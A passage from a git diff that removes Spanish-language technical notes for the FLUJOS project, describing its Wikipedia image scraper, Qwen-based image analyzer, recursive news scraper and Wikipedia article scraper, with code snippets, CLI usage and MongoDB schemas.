]
|
|
||||||
|
|
||||||
VALID_EXTENSIONS = {".jpg", ".jpeg", ".png", ".webp"}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Flujo interno
|
|
||||||
|
|
||||||
```
|
|
||||||
buscar_articulos(tema, lang='es')
|
|
||||||
└── GET https://es.wikipedia.org/w/api.php?action=query&list=search&srsearch={tema}
|
|
||||||
└── para cada artículo:
|
|
||||||
get_article_images(titulo)
|
|
||||||
└── GET https://es.wikipedia.org/w/api.php?action=query&prop=images
|
|
||||||
└── para cada imagen:
|
|
||||||
get_image_info(filename) → Wikimedia API
|
|
||||||
└── descarga si pasa filtros
|
|
||||||
└── guarda en output/wiki_images/{tema_slug}/
|
|
||||||
└── upsert en MongoDB imagenes_wiki
|
|
||||||
```
|
|
||||||
|
|
||||||
### Deduplicación
|
|
||||||
|
|
||||||
Upsert por `archivo` (nombre del fichero) en MongoDB `imagenes_wiki`. Si el fichero ya existe en disco, se salta la descarga.
|
|
||||||
|
|
||||||
### Uso CLI
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Scrape de todos los temas FLUJOS, max 20 imgs/tema, con MongoDB
|
|
||||||
python wikipedia_image_scraper.py --flujos --max 20 --mongo
|
|
||||||
|
|
||||||
# Scrape de un tema concreto
|
|
||||||
python wikipedia_image_scraper.py --tema "cambio climático" --max 30 --mongo
|
|
||||||
|
|
||||||
# Con idioma inglés
|
|
||||||
python wikipedia_image_scraper.py --tema "climate change" --lang en --max 40
|
|
||||||
```
|
|
||||||
|
|
||||||
### Documento MongoDB generado (colección `imagenes_wiki`)
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"archivo": "cambio_climático_003.jpg",
|
|
||||||
"image_path": "$FLUJOS/FLUJOS_DATOS/IMAGENES/output/wiki_images/cambio_climático/cambio_climático_003.jpg",
|
|
||||||
"image_url": "https://upload.wikimedia.org/wikipedia/commons/...",
|
|
||||||
"tema": "cambio climático",
|
|
||||||
"subtema": "derretimiento glaciar ártico",
|
|
||||||
"descripcion_wiki": "Glaciar en retroceso en el Ártico, 2019",
|
|
||||||
"articulo_titulo": "Cambio climático en el Ártico",
|
|
||||||
"fecha": ISODate("2026-04-21")
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Parte 2: image_analyzer.py (Qwen3-VL-8B)
|
|
||||||
|
|
||||||
### Modelo usado
|
|
||||||
|
|
||||||
**Qwen/Qwen2.5-VL-7B-Instruct** (HuggingFace)
|
|
||||||
- Tamaño: ~16 GB en disco (bfloat16)
|
|
||||||
- Inferencia: CPU (sin GPU disponible actualmente)
|
|
||||||
- RAM necesaria: ~16–18 GB para el modelo + ~2 GB por batch de 4 imágenes
|
|
||||||
- Cache local: `IMAGENES/model_cache/`
|
|
||||||
|
|
||||||
> El servidor tiene 64 GB RAM, por lo que cabe sin problema. En GPU (A100/RTX 3090+) sería 10–50x más rápido.
|
|
||||||
|
|
||||||
### Carga del modelo
|
|
||||||
|
|
||||||
```python
|
|
||||||
from transformers import Qwen2_5_VLForConditionalGeneration, AutoProcessor
|
|
||||||
import torch
|
|
||||||
|
|
||||||
model = Qwen2_5_VLForConditionalGeneration.from_pretrained(
|
|
||||||
"Qwen/Qwen2.5-VL-7B-Instruct",
|
|
||||||
torch_dtype=torch.bfloat16, # mitad de RAM vs float32
|
|
||||||
device_map="cpu",
|
|
||||||
cache_dir=str(IMAGENES_DIR / "model_cache"),
|
|
||||||
)
|
|
||||||
processor = AutoProcessor.from_pretrained(
|
|
||||||
"Qwen/Qwen2.5-VL-7B-Instruct",
|
|
||||||
cache_dir=str(IMAGENES_DIR / "model_cache"),
|
|
||||||
)
|
|
||||||
```
|
|
||||||
|
|
||||||
### Prompt de análisis
|
|
||||||
|
|
||||||
```python
|
|
||||||
PROMPT = """Analiza esta imagen y proporciona:
|
|
||||||
1. Una descripción concisa del contenido principal (máx. 2 frases).
|
|
||||||
2. El tema principal (elige uno): cambio climático, conflicto armado, economía, política, tecnología, sociedad, otro.
|
|
||||||
3. Lista de 3-5 palabras clave relevantes.
|
|
||||||
|
|
||||||
Formato de respuesta:
|
|
||||||
DESCRIPCIÓN: [descripción]
|
|
||||||
TEMA: [tema]
|
|
||||||
PALABRAS CLAVE: [kw1, kw2, kw3]"""
|
|
||||||
```
|
|
||||||
|
|
||||||
### Procesamiento por batch
|
|
||||||
|
|
||||||
```python
|
|
||||||
def analyze_batch(image_paths: list[Path]) -> list[dict]:
|
|
||||||
"""Procesa hasta 4 imágenes por llamada al modelo."""
|
|
||||||
```
|
|
||||||
|
|
||||||
`batch_size=4` por defecto. Cada batch ocupa ~2 GB RAM adicionales.
|
|
||||||
|
|
||||||
### Resume automático
|
|
||||||
|
|
||||||
Antes de analizar, verifica qué imágenes ya están en MongoDB `imagenes`:
|
|
||||||
|
|
||||||
```python
|
|
||||||
def get_already_analyzed() -> set[str]:
|
|
||||||
"""Devuelve set de nombres de archivo ya en la colección imagenes."""
|
|
||||||
return {doc['archivo'] for doc in db['imagenes'].find({}, {'archivo': 1})}
|
|
||||||
```
|
|
||||||
|
|
||||||
Solo procesa imágenes no presentes en la BD.
|
|
||||||
|
|
||||||
### Priorización de imágenes
|
|
||||||
|
|
||||||
```python
|
|
||||||
def get_known_article_titles() -> set[str]:
|
|
||||||
"""Títulos de artículos presentes en wikipedia/noticias."""
|
|
||||||
# Prioriza imágenes cuyo tema coincide con artículos existentes
|
|
||||||
```
|
|
||||||
|
|
||||||
Las imágenes de temas con más documentos de texto en la BD se procesan primero, para maximizar la probabilidad de que los nodos imagen queden conectados por comparaciones.
|
|
||||||
|
|
||||||
### Documento MongoDB generado (colección `imagenes`)
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"archivo": "cambio_climático_003.jpg",
|
|
||||||
"image_path": "/var/www/.../output/wiki_images/cambio_climático/cambio_climático_003.jpg",
|
|
||||||
"tema": "cambio climático",
|
|
||||||
"subtema": "calentamiento global",
|
|
||||||
"texto": "Imagen satelital del retroceso del glaciar ártico entre 1990 y 2023. Se observa una reducción significativa de la capa de hielo.",
|
|
||||||
"keywords": ["glaciar", "ártico", "deshielo", "calentamiento", "satélite"],
|
|
||||||
"fecha": ISODate("2026-04-21")
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Parte 3: pipeline_imagenes.py (orquestador)
|
|
||||||
|
|
||||||
### Flags CLI
|
|
||||||
|
|
||||||
```bash
|
|
||||||
python pipeline_imagenes.py --scrape # solo scraping de imágenes
|
|
||||||
python pipeline_imagenes.py --analizar # solo análisis Qwen
|
|
||||||
python pipeline_imagenes.py --mongo # escribe resultados en MongoDB
|
|
||||||
python pipeline_imagenes.py --solo-json # escribe JSON local en vez de Mongo
|
|
||||||
python pipeline_imagenes.py --analizar --carpeta /ruta/custom --mongo
|
|
||||||
```
|
|
||||||
|
|
||||||
### Integración en el pipeline maestro
|
|
||||||
|
|
||||||
El `pipeline_maestro.py` lo llama así:
|
|
||||||
|
|
||||||
**Fase 1 (scraping):**
|
|
||||||
```bash
|
|
||||||
python wikipedia_image_scraper.py --flujos --max 20 --mongo
|
|
||||||
```
|
|
||||||
|
|
||||||
**Fase 2 (análisis):**
|
|
||||||
```bash
|
|
||||||
python pipeline_imagenes.py --analizar \
|
|
||||||
--carpeta FLUJOS_DATOS/IMAGENES/output/wiki_images \
|
|
||||||
--mongo
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Dependencias Python (requirements_imagenes.txt)
|
|
||||||
|
|
||||||
```
|
|
||||||
transformers>=4.45
|
|
||||||
torch>=2.1
|
|
||||||
qwen-vl-utils
|
|
||||||
Pillow
|
|
||||||
requests
|
|
||||||
pymongo
|
|
||||||
scikit-learn
|
|
||||||
python-dotenv
|
|
||||||
```
|
|
||||||
|
|
||||||
Instalación en el venv:
|
|
||||||
```bash
|
|
||||||
$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 -m pip install -r requirements_imagenes.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Estado actual (2026-04-21)
|
|
||||||
|
|
||||||
- Imágenes en disco: ~155 imágenes en `output/wiki_images/` (10 temas × ~15 imgs)
|
|
||||||
- Imágenes en `imagenes_wiki` (MongoDB): ~150 docs
|
|
||||||
- Imágenes analizadas con Qwen en `imagenes` (MongoDB): proceso en curso / pendiente de primera ejecución completa
|
|
||||||
- El modelo Qwen se descarga automáticamente la primera vez que se llama (~16 GB, puede tardar 30–60 min)
|
|
||||||
|
|
||||||
## Script auxiliar: comparar_imagenes_wiki.py (AÑADIDO 2026-04-24)
|
|
||||||
|
|
||||||
Script que genera comparaciones TF-IDF entre `imagenes_wiki` y el corpus de texto (wikipedia + noticias + torrents) sin necesidad de Qwen. Sirve como fallback mientras `imagenes` (Qwen) esté vacío.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
python comparar_imagenes_wiki.py # todos los temas, umbral 3%
|
|
||||||
python comparar_imagenes_wiki.py --umbral 5.0 # más restrictivo
|
|
||||||
python comparar_imagenes_wiki.py --tema "cambio climático"
|
|
||||||
```
|
|
||||||
|
|
||||||
Los documentos generados en `comparaciones` tienen los campos extendidos:
|
|
||||||
`source1_type: "imagen"`, `source2_type: "wikipedia"|"noticias"|"torrents"`, `tema`.
|
|
||||||
|
|
||||||
Cuando Qwen finalmente analice las imágenes, `pipeline_imagenes.py --analizar --mongo` generará comparaciones más ricas (basadas en keywords VLM) que COEXISTIRÁN con estas TF-IDF (misma colección, no se sobreescriben).
|
|
||||||
|
|
||||||
## Pendiente / mejoras futuras
|
|
||||||
|
|
||||||
- Activar GPU cuando esté disponible (cambiar `device_map="cpu"` → `"cuda"`)
|
|
||||||
- Aumentar `--max` a 50+ imágenes por tema
|
|
||||||
- Resolver el timeout de Qwen (186 imgs × 3min/img ≈ 9h): separarlo en un systemd service propio con `TimeoutStartSec=86400`
|
|
||||||
- Añadir soporte para imágenes de noticias (no solo Wikipedia)
|
|
||||||
|
|
@ -1,270 +0,0 @@
|
||||||
# Scraper de Noticias — Contexto técnico FLUJOS
|
|
||||||
**Fecha:** 2026-04-21
|
|
||||||
**Archivo:** `FLUJOS_DATOS/NOTICIAS/main_noticias.py`
|
|
||||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Qué hace
|
|
||||||
|
|
||||||
Scraper web recursivo que:
|
|
||||||
1. Visita ~90 URLs de medios de comunicación internacionales
|
|
||||||
2. Explora sus páginas recursivamente hasta profundidad 6
|
|
||||||
3. Descarga artículos (texto) y ficheros adjuntos (PDF, CSV, DOCX, XLSX, ZIP)
|
|
||||||
4. Traduce a español si el contenido está en otro idioma
|
|
||||||
5. Limpia y tokeniza con BERT
|
|
||||||
6. Guarda en disco y MongoDB (`noticias`)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Lista de fuentes (90 medios)
|
|
||||||
|
|
||||||
```python
|
|
||||||
urls = [
|
|
||||||
# Bases de datos de investigación
|
|
||||||
'https://reactionary.international/database/',
|
|
||||||
'https://aleph.occrp.org/', # OCCRP — periodismo de investigación
|
|
||||||
'https://offshoreleaks.icij.org/', # ICIJ — paraísos fiscales
|
|
||||||
|
|
||||||
# Prensa española
|
|
||||||
'https://www.publico.es/', 'https://www.elsaltodiario.com/',
|
|
||||||
'https://elpais.com/', 'https://www.elmundo.es/', 'https://www.abc.es/',
|
|
||||||
'https://www.lavanguardia.com/', 'https://www.elconfidencial.com/',
|
|
||||||
'https://www.eldiario.es/', 'https://www.rtve.es/', ...
|
|
||||||
|
|
||||||
# Prensa internacional
|
|
||||||
'https://www.nytimes.com/', 'https://www.theguardian.com/',
|
|
||||||
'https://www.lemonde.fr/', 'https://www.spiegel.de/',
|
|
||||||
'https://www.washingtonpost.com/', 'https://www.aljazeera.com/',
|
|
||||||
'https://www.bbc.com/', 'https://www.reuters.com/',
|
|
||||||
'https://www.ft.com/', 'https://www.economist.com/', ...
|
|
||||||
|
|
||||||
# Prensa tech / seguridad
|
|
||||||
'https://www.wired.com/', 'https://www.theregister.com/',
|
|
||||||
'https://www.arstechnica.com/', 'https://www.zdnet.com/',
|
|
||||||
'https://www.cyberdefensemagazine.com/', 'https://www.darkreading.com/', ...
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
Total: ~90 URLs seed. Cada una se explora recursivamente hasta 6 niveles de profundidad.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Flujo de scraping recursivo
|
|
||||||
|
|
||||||
```python
|
|
||||||
def explore_and_extract_articles(url, articles_folder, files_folder,
|
|
||||||
processed_urls, size_limit, depth=0, max_depth=6):
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
para cada URL seed:
|
|
||||||
explore_and_extract_articles(url, depth=0, max_depth=6)
|
|
||||||
└── HTMLSession.get(url).html.render() # ejecuta JavaScript con Chromium headless
|
|
||||||
para cada link encontrado:
|
|
||||||
if link ya procesado: skip
|
|
||||||
processed_urls.add(link)
|
|
||||||
|
|
||||||
if extensión es PDF/CSV/DOCX/XLSX/ZIP/HTML/MD:
|
|
||||||
download_and_save_file(link, files_folder)
|
|
||||||
else:
|
|
||||||
extract_and_save_article(link, articles_folder)
|
|
||||||
explore_and_extract_articles(link, depth+1) # recursivo
|
|
||||||
|
|
||||||
if tamaño total > 50 GB: parar
|
|
||||||
|
|
||||||
explore_wayback_machine(url, articles_folder) # fallback Wayback Machine
|
|
||||||
```
|
|
||||||
|
|
||||||
### Renderizado JavaScript
|
|
||||||
|
|
||||||
Usa `requests-html` con Chromium headless (Pyppeteer) para renderizar páginas que cargan contenido con JavaScript. Esto permite scraping de medios que usan SPA/React.
|
|
||||||
|
|
||||||
```python
|
|
||||||
session = HTMLSession()
|
|
||||||
response = session.get(url, timeout=30)
|
|
||||||
response.html.render(timeout=30, sleep=1) # espera 1s a que cargue el JS
|
|
||||||
links = response.html.absolute_links
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Extracción y limpieza de artículos
|
|
||||||
|
|
||||||
```python
|
|
||||||
def extract_and_save_article(url, articles_folder):
|
|
||||||
response = requests.get(url, timeout=30)
|
|
||||||
soup = BeautifulSoup(response.content, 'html.parser')
|
|
||||||
|
|
||||||
title = soup.find('title').get_text().strip()
|
|
||||||
paragraphs = soup.find_all('p')
|
|
||||||
content = ' '.join([p.get_text() for p in paragraphs])
|
|
||||||
|
|
||||||
translated = translate_text(content) # → español
|
|
||||||
cleaned = clean_text(translated) # → limpieza + stopwords
|
|
||||||
|
|
||||||
filename = clean_filename(title) + '.txt'
|
|
||||||
guardar en articles_folder/filename
|
|
||||||
```
|
|
||||||
|
|
||||||
### Traducción automática
|
|
||||||
|
|
||||||
```python
|
|
||||||
from deep_translator import GoogleTranslator
|
|
||||||
|
|
||||||
def translate_text(text):
|
|
||||||
return GoogleTranslator(source='auto', target='es').translate(text)
|
|
||||||
```
|
|
||||||
|
|
||||||
Usa Google Translate vía `deep-translator`. Detecta idioma automáticamente. Fallo → devuelve el texto original sin traducir.
|
|
||||||
|
|
||||||
### Limpieza de texto
|
|
||||||
|
|
||||||
```python
|
|
||||||
def clean_text(text):
|
|
||||||
text = re.sub(r'<!\[\s*CDATA\s*\[.*?\]\]>', '', text, flags=re.S) # CDATA
|
|
||||||
soup = BeautifulSoup(text, 'html.parser')
|
|
||||||
text = soup.get_text(separator=" ") # HTML → texto plano
|
|
||||||
text = text.lower()
|
|
||||||
text = re.sub(r'http\S+', '', text) # elimina URLs
|
|
||||||
text = re.sub(r'[^a-záéíóúñü\s]', '', text) # solo letras + espacios
|
|
||||||
text = re.sub(r'\s+', ' ', text).strip()
|
|
||||||
words = [w for w in text.split() if w not in STOPWORDS]
|
|
||||||
return ' '.join(words)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Procesamiento de ficheros descargados
|
|
||||||
|
|
||||||
```python
|
|
||||||
def process_files(files_folder, destination_folder):
|
|
||||||
for file in os.walk(files_folder):
|
|
||||||
if .pdf: content = read_pdf(file_path) # PyPDF2
|
|
||||||
elif .csv: content = read_csv(file_path) # csv.reader
|
|
||||||
elif .txt: content = open(file_path).read()
|
|
||||||
elif .docx: content = read_docx(file_path) # python-docx
|
|
||||||
elif .xlsx: content = read_xlsx(file_path) # openpyxl
|
|
||||||
elif .zip: content = read_zip(file_path) # zipfile
|
|
||||||
elif .html/.md: content = format_content(html2text)
|
|
||||||
|
|
||||||
translated = translate_text(content)
|
|
||||||
cleaned = clean_text(translated)
|
|
||||||
tokenize_and_save(cleaned, file, destination_folder)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tokenización BERT
|
|
||||||
|
|
||||||
```python
|
|
||||||
from transformers import BertTokenizer
|
|
||||||
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
|
|
||||||
|
|
||||||
def tokenize_and_save(text, filename, destination_folder):
|
|
||||||
tokens = tokenizer.encode(text, truncation=True, max_length=512, add_special_tokens=True)
|
|
||||||
tokens_str = ' '.join(map(str, tokens))
|
|
||||||
open(f'{destination_folder}/{filename}', 'w').write(tokens_str)
|
|
||||||
```
|
|
||||||
|
|
||||||
Mismo modelo BERT en español que el scraper de Wikipedia. Trunca a 512 tokens.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Deduplicación por URL
|
|
||||||
|
|
||||||
```python
|
|
||||||
def register_processed_notifications(base_folder, urls):
|
|
||||||
"""Lee/escribe processed_articles.txt para evitar re-procesar URLs."""
|
|
||||||
txt_path = os.path.join(base_folder, "processed_articles.txt")
|
|
||||||
processed_urls = set(open(txt_path).read().splitlines())
|
|
||||||
urls_to_process = [u for u in urls if u not in processed_urls]
|
|
||||||
# Añade nuevas URLs al fichero
|
|
||||||
return urls_to_process
|
|
||||||
```
|
|
||||||
|
|
||||||
Las URLs ya procesadas se guardan en `NOTICIAS/processed_articles.txt`. Esto es la deduplicación a nivel de seed URL, pero NO previene artículos duplicados desde diferentes URLs.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Límites configurados
|
|
||||||
|
|
||||||
```python
|
|
||||||
FOLDER_SIZE_LIMIT = 50 * 1024 * 1024 * 1024 # 50 GB máximo en disco
|
|
||||||
max_depth = 6 # profundidad recursiva máxima
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Estructura de ficheros en disco (ignorada por git)
|
|
||||||
|
|
||||||
```
|
|
||||||
FLUJOS_DATOS/NOTICIAS/
|
|
||||||
├── articulos/ # .gitignore — .txt por artículo scrapeado
|
|
||||||
├── archivos/ # .gitignore — PDF, CSV, DOCX, etc. descargados
|
|
||||||
├── tokenized/ # .gitignore — IDs BERT por documento
|
|
||||||
├── processed_articles.txt # .gitignore — URLs ya procesadas
|
|
||||||
├── noticias_procesadas.txt # .gitignore
|
|
||||||
├── main_noticias.py
|
|
||||||
└── docs.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Documento MongoDB generado (colección `noticias`)
|
|
||||||
|
|
||||||
La inserción a MongoDB la hace `pipeline_mongolo.py` (Fase 2), no el scraper directamente. El scraper solo guarda en disco.
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
||||||
"archivo": "titulo-de-la-noticia.txt",
|
|
||||||
"tema": "guerra global",
|
|
||||||
"subtema": "conflictos internacionales",
|
|
||||||
"texto": "texto limpio de la noticia...",
|
|
||||||
"fecha": ISODate | null
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Wayback Machine como fallback
|
|
||||||
|
|
||||||
```python
|
|
||||||
def explore_wayback_machine(url, articles_folder):
|
|
||||||
api_url = f"http://archive.org/wayback/available?url={url}"
|
|
||||||
data = requests.get(api_url).json()
|
|
||||||
archive_url = data['archived_snapshots']['closest']['url']
|
|
||||||
extract_and_save_article(archive_url, articles_folder)
|
|
||||||
```
|
|
||||||
|
|
||||||
Si un medio está caído o bloquea el scraper, intenta obtener la versión más reciente desde archive.org.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limitaciones conocidas
|
|
||||||
|
|
||||||
1. **Renderizado headless lento** — `requests-html` usa Pyppeteer/Chromium, ~2–5 seg/página. Escalar a 20.000 artículos cuesta horas.
|
|
||||||
2. **Sin respeto a robots.txt** — El scraper no verifica robots.txt. Algunos medios bloquean scraping.
|
|
||||||
3. **Paywall** — Medios como FT, NYT, WSJ bloquean sin suscripción. El scraper solo obtiene lo que es público.
|
|
||||||
4. **Traducción de textos largos** — `deep-translator` tiene límite de ~5.000 chars por llamada. Textos largos pueden fallar silenciosamente.
|
|
||||||
5. **Sin fecha de publicación** — Se parsea el título HTML, no los metadatos `<meta property="article:published_time">`. El campo `fecha` suele quedar vacío.
|
|
||||||
6. **Recursión sin límite de anchura** — Una página con 1.000 links genera 1.000 llamadas recursivas. Puede tardar mucho en sitios grandes.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Dependencias
|
|
||||||
|
|
||||||
```
|
|
||||||
requests
|
|
||||||
requests-html # HTMLSession + Pyppeteer
|
|
||||||
beautifulsoup4
|
|
||||||
html2text
|
|
||||||
deep-translator # Google Translate API no oficial
|
|
||||||
PyPDF2
|
|
||||||
python-docx
|
|
||||||
openpyxl
|
|
||||||
transformers # BertTokenizer
|
|
||||||
tqdm
|
|
||||||
pymongo
|
|
||||||
```
|
|
||||||
|
|
@ -1,205 +0,0 @@
|
||||||
# Scraper de Wikipedia — Contexto técnico FLUJOS
|
|
||||||
**Fecha:** 2026-04-21
|
|
||||||
**Archivo:** `FLUJOS_DATOS/WIKIPEDIA/main.py`
|
|
||||||
**Utilidades:** `FLUJOS_DATOS/WIKIPEDIA/wikipedia_utils.py`
|
|
||||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Qué hace
|
|
||||||
|
|
||||||
Descarga artículos de Wikipedia en español organizados por temas de FLUJOS, los limpia, tokeniza con BERT y los guarda en disco (`.txt`) y MongoDB (`wikipedia`).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Temas y palabras clave
|
|
||||||
|
|
||||||
El scraper itera sobre un diccionario de temas con listas de keywords. Para cada keyword hace una búsqueda en la Wikipedia API y descarga los artículos encontrados.
|
|
||||||
|
|
||||||
```python
|
|
||||||
temas = {
|
|
||||||
"inteligencia y seguridad": [
|
|
||||||
"inteligencia", "seguridad", "espionaje", "ciberseguridad", "NSA", "FBI", "CIA",
|
|
||||||
"contraterrorismo", "criptografía", "vigilancia", "hackeo", "ransomware", ...
|
|
||||||
],
|
|
||||||
"guerras": [
|
|
||||||
"guerra", "conflicto", "batalla", "militar", "guerra civil", "intervención militar",
|
|
||||||
"fuerzas armadas", "ejército", "terrorismo", "crímenes de guerra", ...
|
|
||||||
],
|
|
||||||
"corporaciones": [
|
|
||||||
"empresa", "multinacionales", "mercado bursátil", "BlackRock", "Vanguard",
|
|
||||||
"fusiones", "adquisiciones", "venture capital", "evasión fiscal", ...
|
|
||||||
],
|
|
||||||
"demografía": [
|
|
||||||
"población", "migración", "natalidad", "urbanización", "refugiados",
|
|
||||||
"desigualdad", "pobreza", "pandemia", ...
|
|
||||||
],
|
|
||||||
"cambio climático": [
|
|
||||||
"cambio climático", "calentamiento global", "energías renovables",
|
|
||||||
"deforestación", "emisiones de carbono", "acuerdo de París", ...
|
|
||||||
],
|
|
||||||
"organizaciones internacionales": [
|
|
||||||
"OTAN", "BRICS", "ONU", "Unión Europea", "FMI", "Banco Mundial", ...
|
|
||||||
],
|
|
||||||
"gobiernos autoritarios": [
|
|
||||||
"dictadura", "autoritario", "represión política", "censura", "prisioneros políticos", ...
|
|
||||||
],
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Cada tema tiene entre 50 y 100 palabras clave. En total son ~500 keywords → cada una genera hasta 50 artículos = **potencial de ~25.000 artículos**.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Flujo de scraping
|
|
||||||
|
|
||||||
```
|
|
||||||
para cada (tema, palabras_clave):
|
|
||||||
para cada palabra_clave:
|
|
||||||
buscar_articulos(palabra_clave, max_articulos=50, offset=0)
|
|
||||||
└── GET https://es.wikipedia.org/w/api.php
|
|
||||||
action=query, list=search, srsearch={keyword}
|
|
||||||
para cada titulo encontrado:
|
|
||||||
if titulo not in titulos_descargados:
|
|
||||||
contenido = obtener_contenido_wikipedia(titulo)
|
|
||||||
└── GET https://es.wikipedia.org/w/api.php
|
|
||||||
action=query, prop=revisions, rvprop=content
|
|
||||||
guardar en articulos_wikipedia/{titulo_limpio}.txt
|
|
||||||
titulos_descargados.add(titulo)
|
|
||||||
offset += 50 # paginación
|
|
||||||
time.sleep(1) # cortesía hacia la API
|
|
||||||
```
|
|
||||||
|
|
||||||
**Límite de tamaño:** Para cuando `articulos_wikipedia/` supera 100 GB (en la práctica nunca se ha alcanzado).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limpieza de texto
|
|
||||||
|
|
||||||
```python
|
|
||||||
def limpiar_texto(texto):
|
|
||||||
texto = texto.lower()
|
|
||||||
texto = re.sub(r'[^\w\s]', '', texto) # elimina puntuación
|
|
||||||
palabras = texto.split()
|
|
||||||
palabras_limpias = [p for p in palabras if p not in stopwords]
|
|
||||||
return ' '.join(palabras_limpias)
|
|
||||||
```
|
|
||||||
|
|
||||||
Stopwords: lista manual en español (~200 palabras). No usa NLTK en este módulo (sí en pipeline_completo.py).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tokenización BERT
|
|
||||||
|
|
||||||
```python
|
|
||||||
from transformers import BertTokenizer
|
|
||||||
|
|
||||||
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
|
|
||||||
|
|
||||||
def TOKENIZER():
|
|
||||||
archivos = os.listdir('articulos_wikipedia')
|
|
||||||
for archivo in archivos:
|
|
||||||
contenido = open(f'articulos_wikipedia/{archivo}').read()
|
|
||||||
tokens_ids = tokenizer.encode(contenido, add_special_tokens=False)
|
|
||||||
with open(f'articulos_tokenizados/{archivo}', 'w') as f:
|
|
||||||
f.write(' '.join(map(str, tokens_ids)))
|
|
||||||
```
|
|
||||||
|
|
||||||
- Modelo BERT: `dccuchile/bert-base-spanish-wwm-cased` (BERT en español de la U. de Chile)
|
|
||||||
- Truncación: 512 tokens máximo por documento
|
|
||||||
- Output: archivo `.txt` con IDs numéricos separados por espacios
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limpiar nombre de fichero
|
|
||||||
|
|
||||||
```python
|
|
||||||
def limpiar_nombre_archivo(nombre):
|
|
||||||
nombre = re.sub(r'[\\/*?:"<>|]', "_", nombre)
|
|
||||||
return nombre
|
|
||||||
# Ejemplo: "Guerra_del_Golfo_(1990)" → "Guerra_del_Golfo__1990_"
|
|
||||||
```
|
|
||||||
|
|
||||||
El nombre del fichero es el título del artículo de Wikipedia limpiado. Es también el `archivo` en MongoDB (clave de dedup).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Asignación de tema y subtema
|
|
||||||
|
|
||||||
Esta lógica vive en `pipeline_completo.py::asignar_tema_y_subtema()`, no en el scraper. El scraper solo guarda texto; el tokenizador/comparador asigna el tema.
|
|
||||||
|
|
||||||
```python
|
|
||||||
tematicas = {
|
|
||||||
'inteligencia y seguridad': ['inteligencia', 'ciberseguridad', 'espionaje', ...],
|
|
||||||
'cambio climático': ['cambio climático', 'desastres naturales', ...],
|
|
||||||
'guerra global': ['conflictos internacionales', 'guerras civiles', ...],
|
|
||||||
'demografía y sociedad': ['sobrepoblación', 'migraciones', ...],
|
|
||||||
'economía y corporaciones': ['economía global', 'corporaciones multinacionales', ...],
|
|
||||||
}
|
|
||||||
# Si ningún keyword coincide: tema='otros', subtema='general'
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Documento MongoDB generado (colección `wikipedia`)
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
||||||
"archivo": "Guerra_del_Golfo.txt",
|
|
||||||
"tema": "guerra global",
|
|
||||||
"subtema": "conflictos internacionales",
|
|
||||||
"texto": "La Guerra del Golfo fue un conflicto armado...",
|
|
||||||
"fecha": null // Wikipedia no suele tener fecha de publicación clara
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
La inserción usa upsert por `archivo` para deduplicar.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Almacenamiento en disco (ignorado por git)
|
|
||||||
|
|
||||||
```
|
|
||||||
FLUJOS_DATOS/WIKIPEDIA/
|
|
||||||
├── articulos_wikipedia/ # .gitignore — txt en español por artículo
|
|
||||||
├── articulos_tokenizados/ # .gitignore — IDs BERT por artículo
|
|
||||||
├── main.py
|
|
||||||
├── wikipedia_utils.py
|
|
||||||
└── docs.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Ejecución dentro del pipeline maestro
|
|
||||||
|
|
||||||
`pipeline_maestro.py` Fase 1 llama:
|
|
||||||
```bash
|
|
||||||
$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 \
|
|
||||||
